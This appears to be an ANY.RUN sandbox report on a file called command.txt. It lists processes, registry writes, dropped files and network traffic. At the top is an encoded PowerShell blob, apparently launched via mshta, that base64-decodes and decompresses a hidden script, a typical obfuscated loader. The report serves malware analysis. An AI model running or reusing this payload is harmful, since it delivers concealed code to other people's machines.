UAMwBRAE0ARwBOADMAZQB2AFAAVABJAHoANABLADIAMgBDAFcAYgA5AG0ATABGAGUAbwByAHMAVQBHAEkAZwBWAEcATgAxAG0ATwBjADAAbABRADMARgA5AE8AYgBPAEIAUgBFAHAAOQBQAFoAaQA0AEkAUwBGAEkASQBnAGMAdgBFAFgAOAA3ADAAYQB2AFAAcwA2AEwAbABJAE8AWQBSAFUAbQBsAG0AcQBjADEAbgBsADUAdwBKAHkAYwBpAFkAUQBuAHMAWgA5ADQAeABJAFgASwA2ADcASwBGAEcAUQBMAGkANwAyAFoAeABZADUANwBWADMARABEAGYARwBGAG8ARwBPAGMAVABxAFcAYgBrAEkAYgBjAFQATAB5AG0ASwBLAGIAMABQAEsAeABRADcATgBoAEwAawBJAEUAaABnAEUATgAxAFkARgB4AHIAMwB0AG4AWgB4AGYANABQAHMAZAA2AE4AWAB2AE0AcgAyAFEAMgBTAHYATgBpAEMANgBmAHQAMABvAHQAcABNAHcAdwB2AFYAWgBrAEYAdQB4AE8ANABwADEATwB2AEoAVgBKADAASgBtAEkAVgBIAGcASgBpADMASgB2AHgAZgBCAFYANABsAHgAbwBLAG8ATgBrAHUAOQBvADcAaQB1AHkAaAAzAEkAcgBhAFMAcwBHAEkATABPAG4ANABpAGcAZABiAFcAUgBzADkAZABjAGIAUgA3AFoATQBkAHAAVgBUAEMAMQA2AHYANABXADQAMQBJAGQAcwBDADIAawBRAHkANwBzAFMAQwA0AFkAbwBFAFkAcABXAHIAZQBuAGgATwB6ADgAMQBjAG8ATwBMAHQANQA2AGUAQQBFAEMAOQBLADIAaQBnAGEASAB5ADMASQBrAGQAVwBSAGEAaQBWADkAcwBpAFAARQBsADAAQgA1AG4AbgBEAFIAZwBkAHYANgBJAGgAYwA3AFMAVAByAFgAbQBiAEkARABPAGgAWgBLAHkAagBFAEoAcwBqAHcAcAByADgAUQB0AEEAYwBlAGwANgBDAEwAbgB1AHQAcwAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABpAG8ALgBtAGUATQBvAFIAeQBzAHQAUgBFAEEAbQAoACwAJAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgAoACIARgByAG8AbQBCACIAIAArACIAYQBzAGUANgAiACAAKwAgACIANABTAHQAcgBpAG4AZwAiACkAKAAiAE4AWQA4AHgAYgA4AEkAdwBGAEkAVAAvAHkAcABNAFgAawBzAEYATwBrAFYAQQBIAHQAaQBvAE0ARABCAFUAZwBlAGMAaQBTAGcAUwBSACsAdwBnAGIASAB0AHUAdwBYAFQAUAA1ADkAVABhAHYAZQBkAGoAZAA4AGQAeQBkAHAAaQBNAFEAdgAwAFUAKwBZAEUAcgBCADIAMwAzAGYARwBLAFoAOQBUAEwAOQBmAFUAKwBmAHkANQArAHcAOAB1AFAAbQBPAFUARwBxADMAdABuADEAdgB4ADAAWQBlADMAVAAyADgAdgA4AEkAVQBNACsARgBlADgATABUAE0ANgArAGoAYQBKAGcAUABFAE0AMgBpAGkARgBEAGoAZwBHAEcATgBjAHcARgBEADUAMwBQAGcAQgB2AC8AVAB3AFAAVABzAEcAVgBHAFgAeABCAFYAWgAwAHcAOAAvAE4ANAB4ADQAbQBnAGwAQgBMAE8ANABvAFEAawBPAGgAeABiAGEAdwBxAHYARgBnAGUAZgBuAGYAVwBEAGsAaABTAE4AdQAxAFUAYgBUAFIAVABTAHYAbQBsADAAawBYAGgAWQBFAHkAYgBNAHkANwBRAHUASQBtAGsAZgBtAG0ATgBoAFcANAB4AEMAagBaAHUANgB2AHIASwB5ADcATwArAEIAcABOAFUAaQBIAEgAOQBIAC8AUQBBAD0AIgApACkAKQApACwAIABbAEkAbwAuAEMATwBtAFAAcgBFAHMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAFMAUwBpAG8ATgBtAE8ARABFAF0AOgA6ACgAIgBEAGUAIgAgACsAIgBjAG8AbQBwAHIAZQBzAHMAIgApACkAKQAsACAAWwBUAEUAeAB0AC4AZQBOAGMATwBEAEkATgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\atl.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
6824"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\command.txtC:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
Total events
24 440
Read events
24 284
Write events
152
Delete events
4

Modification events

(PID) Process:(5064) SearchApp.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\A1hdl50UVDh2ZbG324Nx-6fZgntcGnHOs5kHLdmaJYE\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Speech_OneCore\Recognizers
Operation:writeName:DefaultTokenId
Value:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Speech_OneCore\Recognizers\Tokens\MS-1033-110-WINMO-DNN
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\SearchSettings
Operation:writeName:IsMSACloudSearchEnabled
Value:
0
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\SearchSettings
Operation:writeName:IsAADCloudSearchEnabled
Value:
0
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Search
Operation:writeName:CortanaStateLastRun
Value:
6E70896700000000
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Search\Flighting
Operation:delete valueName:CachedFeatureString
Value:
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\SearchSettings
Operation:writeName:SafeSearchMode
Value:
1
(PID) Process:(5064) SearchApp.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Search\Flighting
Operation:writeName:CachedFeatureString
Value:
(PID) Process:(5064) SearchApp.exeKey:\REGISTRY\A\{ee080948-b2ea-145a-6870-f9164b908eb9}\LocalState
Operation:writeName:BINGIDENTITY_PROP_USEREMAIL
Value:
00004EE071E35768DB01
(PID) Process:(5064) SearchApp.exeKey:\REGISTRY\A\{ee080948-b2ea-145a-6870-f9164b908eb9}\LocalState
Operation:writeName:BINGIDENTITY_PROP_ACCOUNTTYPETEXT
Value:
00004EE071E35768DB01
(PID) Process:(5064) SearchApp.exeKey:\REGISTRY\A\{ee080948-b2ea-145a-6870-f9164b908eb9}\LocalState
Operation:writeName:BINGIDENTITY_PROP_ACCOUNTTYPE
Value:
00004EE071E35768DB01
Executable files
0
Suspicious files
68
Text files
121
Unknown types
0

Dropped files

PID
Process
Filename
Type
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\wU-YmSK-j9YaNg2gj_x4wAl_UoI[1].csstext
MD5:C1AC4CCA38EA836717738D7CF72B45B9
SHA256:E4C0BF089E674482FA2FE7D558F64F9D3EBDD414EAED18908E34A6140D09B727
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\QNBBNqWD9F_Blep-UqQSqnMp-FI[1].csstext
MD5:77373397A17BD1987DFCA2E68D022ECF
SHA256:A319AF2E953E7AFDA681B85A62F629A5C37344AF47D2FCD23AB45E1D99497F13
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\95d9a2a97a42f02325559b453ba7f8fe839baa18.tbresbinary
MD5:4BB4BAA6886E3FA9F8EEB171AEFF8807
SHA256:4FBD74931A70B823AFBABC318F51165EA8A03F431FCFA8861366DFE3EB91AF67
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\fvNdnrKxhhxDQUEi09cCaSWpzzE[1].csstext
MD5:15DC838A1A66277F9F4D915124DFFBBC
SHA256:9C947D5F732431197DA9DB1F159CB3D4CDC5DBFE55FDC0A9513E571FF31236A1
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\vOJNaIfAXvJzmnBm845ss-M9YR8[1].csstext
MD5:87BBB1A289EDC24C9F06B88229765467
SHA256:85B291C46F9D1EEEC71DB839F649D748F48B203EA836F3ACE3B9B761947D960C
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\4BpQ1bD8vX1mXuJObN-gg9RqkyQ.br[1].jsbinary
MD5:8465A334065673EB6A6487C8D87539DB
SHA256:84ED6C495B322B0F2213CC33EC6C652D84D82E010C928B1141DB2290D4365F3D
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\FaKDzaPMZdBV7yhr3MlL0gPWj9c.br[1].jsbinary
MD5:3ECF3970D63EB9E038DED8284DDD2B24
SHA256:C168C86934DD2699CE5F1EE1459AE23699A5B536B15F7CCD4CC1908D30F7D1A0
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\AptopUBu7_oVDubJxwvaIprW-lI[1].csstext
MD5:4E0E75684C84C0102CED12948B95609B
SHA256:4D18E491B2DE4DA34F6C15F0574911613E902F791FE72501E4404802760D1BCA
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\Swi4yFavETfuSZ9mHxnUvb4UdTw[1].jsbinary
MD5:B2C3CBF8A1D940D6C83D59A67486675C
SHA256:08EA9109346E9018ED50567503D2C141F7A84CFDE80EB25E97FDDCFE270BAA67
5064SearchApp.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\5Y734AMR\67\Cj4mQnDN_eMyYEqsEbjRrJ2Ttec.br[1].jsbinary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
14
TCP/UDP connections
60
DNS requests
38
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3584
svchost.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
3584
svchost.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
4128
backgroundTaskHost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
—
—
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
3584
svchost.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3584
svchost.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5064
SearchApp.exe
92.123.104.62:443
www.bing.com
Akamai International B.V.
DE
whitelisted
1176
svchost.exe
20.190.160.22:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5064
SearchApp.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 40.127.240.158
whitelisted
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 23.35.229.160
  • 95.101.149.131
whitelisted
google.com
  • 142.250.186.78
whitelisted
www.bing.com
  • 92.123.104.62
  • 92.123.104.59
  • 92.123.104.52
  • 92.123.104.61
  • 92.123.104.34
  • 92.123.104.47
  • 92.123.104.25
  • 92.123.104.33
  • 92.123.104.32
  • 2.21.65.154
  • 2.21.65.132
whitelisted
login.live.com
  • 20.190.160.22
  • 20.190.160.20
  • 20.190.160.14
  • 40.126.32.134
  • 40.126.32.136
  • 40.126.32.76
  • 40.126.32.138
  • 20.190.160.17
whitelisted
ocsp.digicert.com
  • 2.17.190.73
  • 2.23.77.188
whitelisted
go.microsoft.com
  • 69.192.162.125
whitelisted
arc.msn.com
  • 20.223.36.55
whitelisted
fd.api.iris.microsoft.com
  • 20.31.169.57
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
command.txt